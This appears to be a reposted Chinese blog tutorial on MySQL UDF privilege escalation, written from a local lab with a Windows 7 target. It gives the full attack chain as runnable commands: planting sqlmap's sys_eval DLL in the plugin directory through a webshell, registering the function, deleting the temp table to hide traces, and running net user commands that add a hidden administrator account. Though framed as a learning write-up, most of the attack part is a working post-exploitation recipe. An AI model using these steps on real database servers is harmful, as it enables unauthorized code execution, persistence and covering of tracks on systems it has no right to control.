0x00 - 前言
这个 udf 提权复现搞了三天, 终于搞出来了. 网上的教程对于初学者不太友好, 以至于我一直迷迷糊糊的, 走了不少弯路. 下面就来总结一下我的理解.
想要知道 udf 提权是怎么回事, 首先要先知道 udf 是什么.
环境:
本机 os: win10
靶机 os: win7
- php: 5.4.45
- mysql: 5.5
0x01-udf 是什么?
udf = 'user defined function', 即'用户自定义函数'. 是通过添加新函数, 对 MYSQL 的功能进行扩充, 性质就象使用本地 MYSQL 函数如 abs()或 concat().udf 在 mysql5.1 以后的版本中, 存在于'mysql/lib/plugin'目录下, 文件后缀为'.dll', 常用 c 语言编写.
那么如何使用 udf 呢?
0x02 - 如何使用 udf?
假设我的 udf 文件名为'udf.dll', 存放在 Mysql 根目录 (通过 select @@basedir 可知) 的'lib/plugin'目录下. 在 udf 中, 我定义了名为 sys_eval 的 mysql 函数, 可以执行系统任意命令. 如果我现在就打开 mysql 命令行, 使用 select sys_eval('dir'); 的话, 系统会返回 sys_eval()函数未定义. 因为我们仅仅是把'udf.dll'放到了某个文件夹里, 并没有引入. 类似于面向对象编程时引入包一样, 如果没有引入包, 那么这个包里的类你是用不了的.
所以, 我们应该把'udf.dll'中的自定义函数引入进来. 看一下官方文档中的语法:
不要慌, 看看实例用法:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
只有两个变量, 一个是 function_name(函数名), 我们想引入的函数是 sys_eval. 还有一个变量是 shared_library_name(共享包名称), 即'udf.dll'.
至此我们已经引入了 sys_eval 函数, 下面就是使用了.
这个函数用于执行系统命令, 用法如下:
select sys_eval('cmd command');
0x03 - 使用 udf 提权
现在我们已经知道了 udf 是什么, 以及如何引入 udf. 下面我们要关注的就是提权了. 其实到这里, 提权已经结束了, 因为对于 sys_eval()函数, 其中的指令是直接以管理员的权限运行的, 所以这也就是最高权限了.
下面来整理一下思路:
将 udf 文件放到指定位置(Mysql>5.1 放在 Mysql 根目录的 lib\plugin 文件夹下)
从 udf 文件中引入自定义函数(user defined function)
执行自定义函数
先看第一步, 拿到一个网站的 webshell 之后, 在指定位置创建 udf 文件. 如何创建? 先别忘了, 现在连源 udf 文件都没有. sqlmap 中有现成的 udf 文件, 分为 32 位和 64 位, 一定要选择对版本, 否则会显示: Can't open shared library'udf.dll'. 获取 sqlmap 的 udf 请看链接: MySQL 利用 UDF 执行命令 https://blog.csdn.net/x728999452/article/details /52413974
然后将获得的 udf.dll 文件转换成 16 进制, 一种思路是在本地使用 mysql 函数 hex:
SELECT hex(load_file(0x433a5c5c55736572735c5c6b61316e34745c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile 'C:\\Users\\ka1n4t\\Desktop\\gg.txt';
load_file 中的十六进制是 C:\\Users\\ka1n4t\\Desktop\\lib_mysqludf_sys.dll
此时 gg.txt 文件的内容就是 udf 文件的 16 进制形式.
接下来就是把本地的 udf16 进制形式通过我们已经获得的 webshell 传到目标主机上.
- CREATE TABLE udftmp (c blob); // 新建一个表, 名为 udftmp, 用于存放本地传来的 udf 文件的内容.
- INSERT INTO udftmp values(unhex('udf 文件的 16 进制格式')); // 在 udftmp 中写入 udf 文件内容
3. SELECT c FROM udftmp INTO DUMPFILE 'H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; // 将 udf 文件内容传入新建的 udf 文件中, 路径根据自己的 @@basedir 修改
// 对于 mysql 小于 5.1 的, 导出目录为 C:\Windows \ 或 C:\Windows\System32\
上面第三步, mysql5.1 以上的版本是默认没有 plugin 目录的, 网上有说可以使用 ntfs 数据流创建:
select test into dumpfile 'H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
但是我本地测试一直没有成功. 后来又在网上看了很多, 都是用这种方法, 看来是无解了. 在 t00ls 上也有人说数据流从来没有成功过, 所以说 mysql5.1 以上的提权能否成功还是个迷.
为了演示, 在这里我是手工创建了个 plugin 目录(ps: 勿喷啦, 我用的 phpstudy 环境, 重新安装一个 mysql 的话有可能会冲突, 所以就没搞, 毕竟原理都一样).
继续, 到这儿如果没有报错的话就说明已经在目标主机上成功生成了 udf 文件. 下面要导入 udf 函数:
- DROP TABLE udftmp; // 为了删除痕迹, 把刚刚新建的 udftmp 表删掉
- CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; // 导入 udf 函数
导入成功的话就可以使用了:
SELECT sys_eval('ipconfig');
返回网卡信息
附几个常用的 cmd 指令, 用于添加一个管理员用户:
net user ka1n4t ka1n4t~!@ /add // 添加新用户: ka1n4t, 密码为 ka1n4t~!@
net localgroup administrators ka1n4t /add // 将 ka1n4t 添加至管理员分组
End.
0x04 - 参考资料
MySQL 利用 UDF 执行命令 https://blog.csdn.net/x728999452/article/details/52413974
Windows 提权系列中篇 https://mp.weixin.qq.com/s/ERXOLhWo0-lJbMV143I8hA
来源: http://www.bubuko.com/infodetail-2598948.html